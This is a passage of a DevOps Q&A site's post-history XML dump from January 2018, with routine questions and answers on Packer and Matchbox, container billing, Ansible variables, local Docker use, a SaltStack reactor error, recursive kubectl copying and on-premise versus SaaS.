  <row Id="9804" PostHistoryTypeId="2" PostId="3121" RevisionGUID="bfa767f7-39a6-49f4-b7c7-5feb027a88e3" CreationDate="2018-01-19T09:09:24.717" UserId="13" Text="You may use matchbox on a VM as you do on a baremetal machine, you won't be able to use packer on a baremetal machine ont he other hand as it doesn't handle any PXE boot option.&#xD;&#xA;&#xD;&#xA;That said, leveraging vSphere/AWS/&lt;any other virtualization system&gt; API/cli to create a new machine from a template is usually quicker and more effective than using the API/cli to create the VM and then make it boot in PXE.&#xD;&#xA;&#xD;&#xA;Packer will create machines, matchbox won't, it will allow you to match a profile with a machine but it won't rack your machine nor plug the networks and power cables, it won't do the machine creation neither for a VM, that not its goal.&#xD;&#xA;&#xD;&#xA;So the main difference is the &quot;before provisioning (chef)&quot; step, as the machine creation, Packer will handle the machine creation whereas matchbox won't, matchbox will handle booting a blank machine and push the OS where packer usually won't. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9805" PostHistoryTypeId="5" PostId="3111" RevisionGUID="929c1ca9-f0fb-409f-9790-fb071dc80573" CreationDate="2018-01-19T09:23:50.577" UserId="465" Comment="updated question based on feedback" Text="I've been evaluating [Netflix Ice][1] - as a billing tool - but it appears to only work at the Machine instance level - not at the container level. &#xD;&#xA;&#xD;&#xA;I'm looking for a tool to help generate billing reports for using docker containers across a cluster of docker servers on EC2. (Non [ECS][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My question is: **How to track (non ECS) container costs on EC2?**&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;I have different groups each running their container on the same host. So I want a way to split instance costs by container usage.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/ecs/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9806" PostHistoryTypeId="2" PostId="3122" RevisionGUID="aa6097b1-b642-4a64-b673-066664de0ae8" CreationDate="2018-01-19T10:21:14.687" UserId="6158" Text="There's a company from Belgium who've been in the SCM (now they label their product as DevOps) market for over 12 years. But since they're not a giant like IBM or CA they are less known.&#xD;&#xA;&#xD;&#xA;However they have their product (IKAN ALM) running at large banks and insurance companies, mostly as a replacement for Changeman. They support Mainframe and Distributed, this means companies will be able to manage Mainframe and, for instance Java development (and deployment) using the same tool.&#xD;&#xA;&#xD;&#xA;They have a brand called [BlueBridge][1], which is actually their [main product][2] already configured for Mainframe.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.bluebridgesoftware.com/&#xD;&#xA;  [2]: https://www.ikanalm.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9807" PostHistoryTypeId="2" PostId="3123" RevisionGUID="65597502-85b1-445a-bced-963b87c37369" CreationDate="2018-01-19T11:00:52.980" UserId="800" Text="Is it possible to populate host_vars and group_vars with results from a database like we do in dynamic inventories ?&#xD;&#xA;&#xD;&#xA;Actually I'm doing it inside my playbook either with lookups, either by using shell module and registring queries result.&#xD;&#xA;&#xD;&#xA;If anyone has a more elegant way of populating variables like making an executable host_var file printing json to stdout or so .." ContentLicense="CC BY-SA 3.0" />
  <row Id="9808" PostHistoryTypeId="1" PostId="3123" RevisionGUID="65597502-85b1-445a-bced-963b87c37369" CreationDate="2018-01-19T11:00:52.980" UserId="800" Text="Creating ansible host_vars and group_vars files dynamically" ContentLicense="CC BY-SA 3.0" />
  <row Id="9809" PostHistoryTypeId="3" PostId="3123" RevisionGUID="65597502-85b1-445a-bced-963b87c37369" CreationDate="2018-01-19T11:00:52.980" UserId="800" Text="&lt;ansible&gt;&lt;automation&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9810" PostHistoryTypeId="2" PostId="3124" RevisionGUID="5ede5f6c-c1c9-4d79-bd05-419ad8f370b9" CreationDate="2018-01-19T12:24:54.913" UserId="4175" Text="Someone said that to each question, there are always *three* answers. So here's your third answer.&#xD;&#xA;&#xD;&#xA;Install docker on the dev machine, and build images with it. &#xD;&#xA;&#xD;&#xA;*But:*&#xD;&#xA;&#xD;&#xA;The images should *not* contain your source code or *anything* that changes during the usual edit-build-test-run cycle. The images only need to contain the basic stuff that *does* the build/test/run parts. &#xD;&#xA;&#xD;&#xA;That is, if you were to develop a Maven application, your image/container would contain the `mvn` command with all its depdendencies. A second image/container would contain your `wildfly`  or whatever you are using as an application server. &#xD;&#xA;&#xD;&#xA;If you were to develop in ruby on rails, you would have one image/container which contains everything to be able to run `bundle exec rake cucumber`, another image/container which contains everything to be able to run `rails s` or `rails c`.&#xD;&#xA;&#xD;&#xA;The images will be recreated seldomly, for example if you want to upgrade the application server, and they will certainly not be `docker build`'t on each run by the dev. Both images would *not* contain anything that belongs to your application. No source code, no `.war` file, no precompiled assets or application-specific gems for the ruby application. These would be mounted as volume when starting the containers, and point directly to whatever local directory the dev is currently working with. &#xD;&#xA;&#xD;&#xA;This way, it is guaranteed that your dev uses the exact same base environment as your CI or production. New devs can start building/testing/running instantly and never need to install anything to their host machine. They can use the editor of their choice (if they wish to use something like Eclipse which has lots of magic and wants to compile the stuff itself, then they are free to do so of course - as long as they do at least a cursory check whether everything still works in the docker variant, before pushing).&#xD;&#xA;&#xD;&#xA;And if you wish to deploy your application as a fully self-contained docker image, finally, then you are free to do so. Your CI server can build those images. It should use the smaller images used by your devs as base image, obviously.&#xD;&#xA;&#xD;&#xA;This gives you a nice medium ground which should cover everything." ContentLicense="CC BY-SA 3.0" />
  <row Id="9811" PostHistoryTypeId="2" PostId="3125" RevisionGUID="21251038-b6e4-449f-aa25-ef9da1dc3c49" CreationDate="2018-01-19T12:29:49.187" UserId="5035" Text="Being a fan of [The Twelve-Factor App](https://12factor.net/), I'll recommend installing Docker on every workstation, following rule *X. &quot;Dev/prod parity*: Keep development, staging, and production as similar as possible&quot;.&#xD;&#xA;&#xD;&#xA;I encourage that every developer is responsible to produce production-ready software, so you need to test it locally before pushing it. CI is for integration as its name suggests, not to check any individual contribution, but to check any conflict between the contribution of several developers.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9813" PostHistoryTypeId="5" PostId="3120" RevisionGUID="1f566e69-0e7e-4b46-994d-a3e25254ef2f" CreationDate="2018-01-19T13:31:33.373" UserId="13" Comment="deleted 15 characters in body" Text="Assertion 1:&#xD;&#xA;&#xD;&#xA;- Pro: The build environment is guaranteed to be what's expected&#xD;&#xA;- Cons: It slow down validation of patches.&#xD;&#xA;&#xD;&#xA;Assertion 2:&#xD;&#xA;Exactly the opposites pro and cons.&#xD;&#xA;&#xD;&#xA;I'd advocate to let developers have docker on their system to iterate quickly on fixes or advancement and keeping regression and integration tests in the CI pipeline. That's not required, every dev should be able to choose if they just code and never run anything locally or if they want to run whole test suite on their workstation.&#xD;&#xA;&#xD;&#xA;So both assertions are valid, I see no valid reasons to enforce one or the other" ContentLicense="CC BY-SA 3.0" />
  <row Id="9814" PostHistoryTypeId="2" PostId="3126" RevisionGUID="82568886-d6f8-494f-a785-ba7dce9edf19" CreationDate="2018-01-19T13:59:22.090" UserId="3899" Text="I have the next conf files for salt reactor: &#xD;&#xA;&#xD;&#xA;1. reactor.conf &#xD;&#xA;&#xD;&#xA;&gt;   - 'salt/netapi/hook/cd':&#xD;&#xA;&gt;      - /srv/reactor/dev.sls&#xD;&#xA;&#xD;&#xA;2. dev.sls&#xD;&#xA;&#xD;&#xA;&gt;     # vim: sts=2 ts=2 sw=2 et ai&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     {% set payload = data.get('post') %}&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     {%      set master = [grains.fqdn] %}&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     core|api|{{ master }}|jenkins-cd:&#xD;&#xA;&gt;       runner.state.orchestrate:&#xD;&#xA;&gt;         - tgt: {{ master }}&#xD;&#xA;&gt;         - mods: myreactor.deploy&#xD;&#xA;&gt;         - pillar:&#xD;&#xA;&gt;             temp_var_transmit: {{ payload }}&#xD;&#xA;&#xD;&#xA;3. deploy.sls&#xD;&#xA;&#xD;&#xA;&gt;     {%      set payload = salt.pillar.get('temp_var_transmit') %}&#xD;&#xA;&gt;     {%      set master = [grains.fqdn] %}&#xD;&#xA;&gt;     my_state:&#xD;&#xA;&gt;       salt.function:&#xD;&#xA;&gt;         - name: cmd.run&#xD;&#xA;&gt;         - tgt: {{ master }}&#xD;&#xA;&gt;         - arg:&#xD;&#xA;&gt;           - &quot;salt-run state.orch my-reactor.cd_state pillar='{\&quot;temp_var_transmit\&quot;:{\&quot;host\&quot;:\&quot;{{payload['host']}}\&quot;,\&quot;artifact_id\&quot;:\&quot;{{payload['artifact_id']}}\&quot;,\&quot;artifact_version\&quot;:\&quot;{{payload['artifact_version']}}\&quot;}}'&quot;&#xD;&#xA;&gt;     {% endfor %}&#xD;&#xA;4. cd_state.sls&#xD;&#xA;&gt; &#xD;&#xA;&gt;     {% set data = salt.pillar.get('temp_var_transmit') %}&#xD;&#xA;&gt;     my_deploy:&#xD;&#xA;&gt;       salt.state:&#xD;&#xA;&gt;         - tgt: {{ member }}&#xD;&#xA;&gt;         - expr_form: compound&#xD;&#xA;&gt;         - sls: '{{ data.artifact_id }}_{{ data.artifact_version }}'&#xD;&#xA;&gt;         - queue: true&#xD;&#xA;&gt;         - test: {{ dry_run_mode }}&#xD;&#xA;&#xD;&#xA;When I send API request and run salt-runner.events, I get the next error: &#xD;&#xA;&#xD;&#xA;    jid&quot;: &quot;20180119065728472630&quot;, &#xD;&#xA;        &quot;return&quot;: &quot;Exception occurred in runner state.orchestrate: Traceback (most recent call last):\n  File \&quot;/usr/lib/python2.7/dist-packages/salt/client/mixins.py\&quot;, line 395, in _low\n    data['return'] = self.functions[fun](*args, **kwargs)\nTypeError: orchestrate() argument after ** must be a mapping, not list\n&quot;, &#xD;&#xA;        &quot;success&quot;: false, &#xD;&#xA;        &quot;user&quot;: &quot;Reactor&quot;&#xD;&#xA;&#xD;&#xA;Any thoughts? " ContentLicense="CC BY-SA 3.0" />
  <row Id="9815" PostHistoryTypeId="1" PostId="3126" RevisionGUID="82568886-d6f8-494f-a785-ba7dce9edf19" CreationDate="2018-01-19T13:59:22.090" UserId="3899" Text="SaltStack Reactor fails with exception" ContentLicense="CC BY-SA 3.0" />
  <row Id="9816" PostHistoryTypeId="3" PostId="3126" RevisionGUID="82568886-d6f8-494f-a785-ba7dce9edf19" CreationDate="2018-01-19T13:59:22.090" UserId="3899" Text="&lt;configuration-management&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9817" PostHistoryTypeId="50" PostId="2648" RevisionGUID="164da44f-983d-4044-ab3e-ed2cf2c06f16" CreationDate="2018-01-19T17:17:57.203" UserId="-1" />
  <row Id="9818" PostHistoryTypeId="2" PostId="3127" RevisionGUID="efe5e59e-a1b8-4229-8753-62416ad622d5" CreationDate="2018-01-19T18:38:54.773" UserId="2494" Text="I want to copy files recursively to a Kubernetes pod&#xD;&#xA;&#xD;&#xA;I tried `kubectl cp -r`&#xD;&#xA;&#xD;&#xA;I got:&#xD;&#xA;`error: unknown shorthand flag: 'r' in -r`&#xD;&#xA;&#xD;&#xA;What are the best ways to transfer whole directories recursively into a pod.&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="9819" PostHistoryTypeId="1" PostId="3127" RevisionGUID="efe5e59e-a1b8-4229-8753-62416ad622d5" CreationDate="2018-01-19T18:38:54.773" UserId="2494" Text="How to copy files recursively to a Kubernetes pod?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9820" PostHistoryTypeId="3" PostId="3127" RevisionGUID="efe5e59e-a1b8-4229-8753-62416ad622d5" CreationDate="2018-01-19T18:38:54.773" UserId="2494" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9821" PostHistoryTypeId="50" PostId="1725" RevisionGUID="6139e745-1d5b-4e14-be0d-ac3b797436f1" CreationDate="2018-01-19T19:20:44.177" UserId="-1" />
  <row Id="9822" PostHistoryTypeId="2" PostId="3128" RevisionGUID="3dbb0c99-ad55-42d3-aeec-7326c4b48567" CreationDate="2018-01-19T19:26:12.683" UserId="210" Text="https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp&#xD;&#xA;&#xD;&#xA;&gt; recursive 	R 	false 	Process the directory used in -f, --filename&#xD;&#xA;&gt; recursively. Useful when you want to manage related manifests&#xD;&#xA;&gt; organized within the same directory.&#xD;&#xA;&#xD;&#xA;According to this documentation, `R` could be used to copy files recursively.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9823" PostHistoryTypeId="12" PostId="3128" RevisionGUID="1444e32f-ce39-4c66-a866-84e13ae70f72" CreationDate="2018-01-19T19:52:06.497" UserId="210" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="9824" PostHistoryTypeId="13" PostId="3128" RevisionGUID="d730eac4-5984-49be-8bce-ce06e31bda56" CreationDate="2018-01-19T19:52:13.917" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="9825" PostHistoryTypeId="5" PostId="3128" RevisionGUID="e525bf0f-9756-4e99-aa28-431f878c29c5" CreationDate="2018-01-19T19:55:12.837" UserId="210" Comment="added 1097 characters in body" Text="According to the help menu, the recursive option does not seem to exist.&#xD;&#xA;&#xD;&#xA;    user@localhost ~ $ kubectl cp --help&#xD;&#xA;    Copy files and directories to and from containers.&#xD;&#xA;    &#xD;&#xA;    Examples:&#xD;&#xA;      # !!!Important Note!!!&#xD;&#xA;      # Requires that the 'tar' binary is present in your container&#xD;&#xA;      # image.  If 'tar' is not present, 'kubectl cp' will fail.&#xD;&#xA;      &#xD;&#xA;      # Copy /tmp/foo_dir local directory to /tmp/bar_dir in a remote pod in the default namespace&#xD;&#xA;      kubectl cp /tmp/foo_dir &lt;some-pod&gt;:/tmp/bar_dir&#xD;&#xA;      &#xD;&#xA;      # Copy /tmp/foo local file to /tmp/bar in a remote pod in a specific container&#xD;&#xA;      kubectl cp /tmp/foo &lt;some-pod&gt;:/tmp/bar -c &lt;specific-container&gt;&#xD;&#xA;      &#xD;&#xA;      # Copy /tmp/foo local file to /tmp/bar in a remote pod in namespace &lt;some-namespace&gt;&#xD;&#xA;      kubectl cp /tmp/foo &lt;some-namespace&gt;/&lt;some-pod&gt;:/tmp/bar&#xD;&#xA;      &#xD;&#xA;      # Copy /tmp/foo from a remote pod to /tmp/bar locally&#xD;&#xA;      kubectl cp &lt;some-namespace&gt;/&lt;some-pod&gt;:/tmp/foo /tmp/bar&#xD;&#xA;    &#xD;&#xA;    Options:&#xD;&#xA;      -c, --container='': Container name. If omitted, the first container in the pod will be chosen&#xD;&#xA;    &#xD;&#xA;    Usage:&#xD;&#xA;      kubectl cp &lt;file-spec-src&gt; &lt;file-spec-dest&gt; [options]&#xD;&#xA;    &#xD;&#xA;    Use &quot;kubectl options&quot; for a list of global command-line options (applies to all commands).&#xD;&#xA;&#xD;&#xA;In order to copy files recursively, all files could be put in a directory and when this folder is copied to the pod, all files were copied:&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9826" PostHistoryTypeId="5" PostId="3127" RevisionGUID="93740eab-9497-4f3c-aaa5-f74d35e99804" CreationDate="2018-01-19T19:55:24.570" UserId="210" Comment="deleted 11 characters in body" Text="I want to copy files recursively to a Kubernetes pod&#xD;&#xA;&#xD;&#xA;I tried `kubectl cp -r`&#xD;&#xA;&#xD;&#xA;I got:&#xD;&#xA;`error: unknown shorthand flag: 'r' in -r`&#xD;&#xA;&#xD;&#xA;What are the best ways to transfer whole directories recursively into a pod." ContentLicense="CC BY-SA 3.0" />
  <row Id="9827" PostHistoryTypeId="50" PostId="1579" RevisionGUID="dd2546d8-6667-43e4-92a6-daad706fe875" CreationDate="2018-01-19T21:21:07.993" UserId="-1" />
  <row Id="9828" PostHistoryTypeId="2" PostId="3129" RevisionGUID="1ef81c36-7652-4c29-a598-5ce2ab5619bf" CreationDate="2018-01-19T21:23:05.480" UserId="6171" Text="Check out the [IOpipe profiler](https://read.iopipe.com/using-iopipe-profiling-to-gain-crucial-observability-into-your-aws-lambda-functions-506f5dda6bdf) to get full v8 profiler dumps from Lambda invocations.  You can load those into Chrome Devtools to see exactly where CPU time is spent, and how memory is being used for your functions.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/0mshm.png&#xD;&#xA;&#xD;&#xA;Disclaimer: I work for IOpipe" ContentLicense="CC BY-SA 3.0" />
  <row Id="9829" PostHistoryTypeId="2" PostId="3130" RevisionGUID="e5a7f0f6-d83e-4c97-96b1-10f7fc23218a" CreationDate="2018-01-19T21:33:45.727" UserId="6173" Text="Upload to AWS from the Lambda console, by creating a new function here: https://console.aws.amazon.com/lambda/home. You can also build your functions and upload to AWS using a tool like [Serverless framework](https://serverless.com/framework/)." ContentLicense="CC BY-SA 3.0" />
  <row Id="9830" PostHistoryTypeId="2" PostId="3131" RevisionGUID="51006496-6d51-4f2b-b6e1-247cdf4ca8b2" CreationDate="2018-01-20T14:27:48.967" UserId="6183" Text="I've discovered a number of open source tools over the years which have become an essential part of my personal workflow &amp; productivity in my current day job (project manager / business analyst). I can often move from company-to-company and even account/machine (and OS too) and want to get up and running with the minimum of fuss.&#xD;&#xA;&#xD;&#xA;What I'm trying to combine:&#xD;&#xA;&#xD;&#xA; - **[apps/tools][1]** (which use a variety of frameworks and languages including python, flask, javascript, node, java etc)&#xD;&#xA; - **config files**&#xD;&#xA; - **other misc. files** (e.g. fonts)&#xD;&#xA;&#xD;&#xA;**However, by necessity, I am often behind corporate firewalls and restrictive IT policies** which make it time-consuming to get internal license approvals for each tool, download each of the tools individually, keep them up-to-date, blocked external package repos, maintaining &amp; building-upon the associated configuration files over time...&#xD;&#xA;&#xD;&#xA;###Docker is the obvious solution here, but...&#xD;&#xA;###... it is often blocked by these same IT policies, as are its alternatives.&#xD;&#xA;&#xD;&#xA;# What I've tried&#xD;&#xA;&#xD;&#xA;Using a **[GitHub repository][2]**, I've since settled on building/installing everything locally, making it 'portable' (using batch scripts, symlinks and a number of config file tweaks) and then uploading.&#xD;&#xA;&#xD;&#xA;Drawbacks of this approach include: the complexity, difficulty maintaining this cross-platform (currently windows-only), working around applications installed via git-clone, working around quirks of 'portable' versions of runtime dependencies like Python, github 50mb single file-size limits...&#xD;&#xA;&#xD;&#xA;# Another possible approach I considered&#xD;&#xA;&#xD;&#xA;**Using continuous integration** (like Travis-CI and AppVeyor), my main concern here is that I've not actually 'built' some of the apps I use (e.g. emacs-w64, which I download the pre-built binaries for) so wondering if this will just add more complexity than my current solution ... and since Travis-CI doesn't support windows it adds an additional dependency, as well as the overhead of learning the continuous integration world &amp; maintaining build scripts for linux, osx &amp; windows..&#xD;&#xA;&#xD;&#xA;I'm not looking to open up discussion here, but an answer that will meet my needs with the minimum of fuss (this is for personal use rather than devops for my company / others after all) from the experts ... even if the answer is simply that I need to put the effort into a CI solution...&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/xeijin/propositum#components&#xD;&#xA;  [2]: https://github.com/xeijin/propositum" ContentLicense="CC BY-SA 3.0" />
  <row Id="9831" PostHistoryTypeId="1" PostId="3131" RevisionGUID="51006496-6d51-4f2b-b6e1-247cdf4ca8b2" CreationDate="2018-01-20T14:27:48.967" UserId="6183" Text="How can I build &amp; maintain a personal, cross-platform 'toolkit' of commonly used applications?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9832" PostHistoryTypeId="3" PostId="3131" RevisionGUID="51006496-6d51-4f2b-b6e1-247cdf4ca8b2" CreationDate="2018-01-20T14:27:48.967" UserId="6183" Text="&lt;windows&gt;&lt;configuration&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9833" PostHistoryTypeId="2" PostId="3132" RevisionGUID="e962763e-6a3c-4f74-975b-c63caaed3039" CreationDate="2018-01-20T16:50:28.277" UserId="6184" Text="You have two arguments that are empty:&#xD;&#xA;&#xD;&#xA;    &lt;application-desc main-class=&quot;hudson.remoting.jnlp.Main&quot;&gt;&#xD;&#xA;      &lt;argument&gt;32ba31ca5f150c2b3491802b0b60e56574d970a9e601cebad656a113fe325a85&lt;/argument&gt;&#xD;&#xA;      &lt;argument&gt;FQDNofWindowsSlave&lt;/argument&gt;&#xD;&#xA;      &lt;argument&gt;-workDir&lt;/argument&gt;&#xD;&#xA;      &lt;argument/&gt;&#xD;&#xA;      &lt;argument&gt;-internalDir&lt;/argument&gt;&#xD;&#xA;      &lt;argument/&gt;&#xD;&#xA;      &lt;argument&gt;-url&lt;/argument&gt;&#xD;&#xA;      &lt;argument&gt;http://FQDNofJenkinsServer:8080/&lt;/argument&gt;&#xD;&#xA;    &lt;/application-desc&gt;&#xD;&#xA;&#xD;&#xA;Your error message has a comma in it:&#xD;&#xA;&#xD;&#xA;&gt; BadFieldException[ The field &lt;jnlp&gt;&lt;application-desc&gt;&lt;argument&gt; has an&#xD;&#xA;&gt; invalid value: ,]&#xD;&#xA;&#xD;&#xA;Other bad argument error messages on the internet have comma separated lists of bad arguments: &#xD;&#xA;&#xD;&#xA;&gt; BadFieldException[ The field &lt;jnlp&gt;codebase has an invalid value:&#xD;&#xA;&gt; $$codebase,$$codebase]&#xD;&#xA;&#xD;&#xA;So I'd guess those two empty arguments are the problem. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9834" PostHistoryTypeId="2" PostId="3133" RevisionGUID="e6d4a6ee-0d06-4487-a9de-93d35199dda9" CreationDate="2018-01-20T23:12:04.670" UserId="5879" Text="Writing unit and integration tests for individual micro services is part of standard development processes. However, how can these services be tested with one another? And then integrated into a CI system? As well as respecting the correct ports, shared network and secrets. Should the individual micro services be versioned in the same Git repo? For context, I use docker compose with a Flask app that acts as the oauth2 server for a Grafana instance. Other instances include PostgreSQL, Redis, nginx and InfluxDB.&#xA;&#xA;A simple approach would be to test the individual APIs, but what if they change on one side but not updated on the other? How can it be made sure that the APIs are being used correctly in the first place?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9835" PostHistoryTypeId="1" PostId="3133" RevisionGUID="e6d4a6ee-0d06-4487-a9de-93d35199dda9" CreationDate="2018-01-20T23:12:04.670" UserId="5879" Text="How can integration tests for micro services be written?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9836" PostHistoryTypeId="3" PostId="3133" RevisionGUID="e6d4a6ee-0d06-4487-a9de-93d35199dda9" CreationDate="2018-01-20T23:12:04.670" UserId="5879" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;deployment&gt;&lt;containers&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9837" PostHistoryTypeId="2" PostId="3134" RevisionGUID="51bdf2c8-247d-4d76-9239-0bf039e92f77" CreationDate="2018-01-21T00:50:32.283" UserId="4175" Text="Well, the name &quot;integration&quot; test *means* to test different pieces of the system together, I would not call a test that only uses one component an &quot;integration&quot; test. &#xD;&#xA;&#xD;&#xA;You'd wire them up like in production (in a testing environment, of course), provide test data and let them do their thing. The components themselves do not need to know - they should not know - that they are under test.&#xD;&#xA;&#xD;&#xA;The &quot;wiring up&quot; should be as similar to the production environment as possible, re-using configuration code where possible, to test those bits&amp;pieces as well. Don't put them in the same repo just because you do integration tests. &#xD;&#xA;&#xD;&#xA;To see whether the components work together correctly, you would have a test driver that exercises several of them together. It will set up the test data and look at the end results. If everything is green, then the APIs have, by definition, been used correctly. This means that there should be plenty of integration tests - if in doubt, I'd err on the side of having too many integration tests rather than too many unit tests. Obviously this depends a lot on what you are actually doing..." ContentLicense="CC BY-SA 3.0" />
  <row Id="9838" PostHistoryTypeId="5" PostId="3117" RevisionGUID="2538b39a-ae1e-4fdf-b599-adc023ece30e" CreationDate="2018-01-21T01:14:24.653" UserId="739" Comment="syntax highlighting was not helping these diagrams &amp;&amp; remove premature thanks" Text="I have this setup to standup a baremetal machine:&#xD;&#xA;&#xD;&#xA;&lt;!-- language-all: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    Terraform-&gt; Matchbox&#xD;&#xA;             \-&gt; Chef-&gt; Docker&#xD;&#xA;&#xD;&#xA;My colleague has a setup to standup VMs in AWS:&#xD;&#xA;&#xD;&#xA;    Terraform-&gt; Packer-&gt; Chef-&gt; Docker&#xD;&#xA;&#xD;&#xA;Is Packer to AWS as [Matchbox][1] is to Baremetal, in terms of image provisioning?  I know there not 1:1 in features since packer can provision chef and stuff (it seems, and so can terraform) but for the general purpose of standing up a machine can this be considered.&#xD;&#xA;&#xD;&#xA;If not what is the difference between the two.  I am having trouble understanding exactly what packer is for (compared to matchbox), if it doesn't fit that relation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://coreos.com/matchbox/docs/latest/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9839" PostHistoryTypeId="6" PostId="3117" RevisionGUID="2538b39a-ae1e-4fdf-b599-adc023ece30e" CreationDate="2018-01-21T01:14:24.653" UserId="739" Comment="syntax highlighting was not helping these diagrams &amp;&amp; remove premature thanks" Text="&lt;amazon-web-services&gt;&lt;chef&gt;&lt;terraform&gt;&lt;packer&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9840" PostHistoryTypeId="24" PostId="3117" RevisionGUID="2538b39a-ae1e-4fdf-b599-adc023ece30e" CreationDate="2018-01-21T01:14:24.653" Comment="Proposed by 739 approved by 40, 13 edit id of 592" ContentLicense="CC BY-SA 3.0" />
  <row Id="9841" PostHistoryTypeId="2" PostId="3135" RevisionGUID="e86fa505-be5f-4f18-a0c4-f38c4c8251a2" CreationDate="2018-01-21T09:09:50.243" UserId="4344" Text="I just curious what's difference between on-premise and SaaS?&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9842" PostHistoryTypeId="1" PostId="3135" RevisionGUID="e86fa505-be5f-4f18-a0c4-f38c4c8251a2" CreationDate="2018-01-21T09:09:50.243" UserId="4344" Text="What's difference between on-premise and SaaS?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9843" PostHistoryTypeId="3" PostId="3135" RevisionGUID="e86fa505-be5f-4f18-a0c4-f38c4c8251a2" CreationDate="2018-01-21T09:09:50.243" UserId="4344" Text="&lt;definition&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9844" PostHistoryTypeId="2" PostId="3136" RevisionGUID="6e66af71-a49e-4da7-83c2-2d34c5ee6157" CreationDate="2018-01-21T10:03:05.360" UserId="40" Text="Both on-premise and SaaS are typically used to define how software is being used:&#xD;&#xA;&#xD;&#xA;- **`on-premise`**: the software runs on some hardware which is located in your own house, building, company, etc.&#xD;&#xA;- **`SaaS`** (= short for &quot;**S**oftware **a**s **a** **S**ervice*&quot;: the software runs somewhere (typically in &quot;the cloud&quot;), where you as a user of the softwre don't really know (care?) where the hardware it's running on is located.&#xD;&#xA;&#xD;&#xA;What the purpose of the software is, doesn't really matter. It could by CRM, CMS, BI, Accounting ... even DevOps!&#xD;&#xA;&#xD;&#xA;Nor does it matter what the hardware is about, or the OS it's running on: a small server (running some sort of Linux, etc), a huge mainframe running zOS, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="9845" PostHistoryTypeId="5" PostId="3135" RevisionGUID="a1e41099-0be5-4f84-af8e-15bd4b207448" CreationDate="2018-01-21T10:04:07.620" UserId="40" Comment="deleted 21 characters in body; edited tags" Text="I just curious what's difference between on-premise and SaaS?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9846" PostHistoryTypeId="6" PostId="3135" RevisionGUID="a1e41099-0be5-4f84-af8e-15bd4b207448" CreationDate="2018-01-21T10:04:07.620" UserId="40" Comment="deleted 21 characters in body; edited tags" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9847" PostHistoryTypeId="5" PostId="3136" RevisionGUID="018c7a5b-fe55-4e50-953a-121b1d328694" CreationDate="2018-01-21T10:21:21.970" UserId="40" Comment="added 1374 characters in body" Text="Both on-premise and SaaS are typically used to define how software is being used:&#xD;&#xA;&#xD;&#xA;- **`on-premise`**: the software runs on some hardware which is located in your own house, building, company, etc.&#xD;&#xA;- **`SaaS`** (= short for &quot;**S**oftware **a**s **a** **S**ervice*&quot;): the software runs somewhere (typically in &quot;the cloud&quot;), where you as a user of the softwre don't really know (care?) where the hardware it's running on is located.&#xD;&#xA;&#xD;&#xA;What the purpose of the software is, doesn't really matter. It could by CRM, CMS, BI, Accounting ... even DevOps!&#xD;&#xA;&#xD;&#xA;Nor does it matter what the hardware is about, or the OS it's running on: a small server (running some sort of Linux, etc), a huge mainframe running zOS, etc.&#xD;&#xA;&#xD;&#xA;### Examples&#xD;&#xA;&#xD;&#xA;- In the context of DevOps, let's assume you want to use GIT (and you know what GIT is used for): how are you going to make your GIT repositories available for other users to share your code. Are you going to use infrastructure (eg: some server) that you manage yourself, in your own building (= roll your own cookies), or do you rather want to &quot;outsource&quot; all that (e.g. because you do not have the skills or resources) and use something like GitHub?&#xD;&#xA;&#xD;&#xA;- Assume you want to start using &quot;the Cloud&quot; for sharing files, pictures, contact data, etc with other people. Are you going to use any of the available Cloud services (with all sorts of &quot;strings attached&quot; like fees, terms &amp; conditions, etc.)? That would be the Saas version of it. Or do you rather want to be in full controle of it all (the server on which it is all stored/managed) and use something like (open source based) OwnCloud or 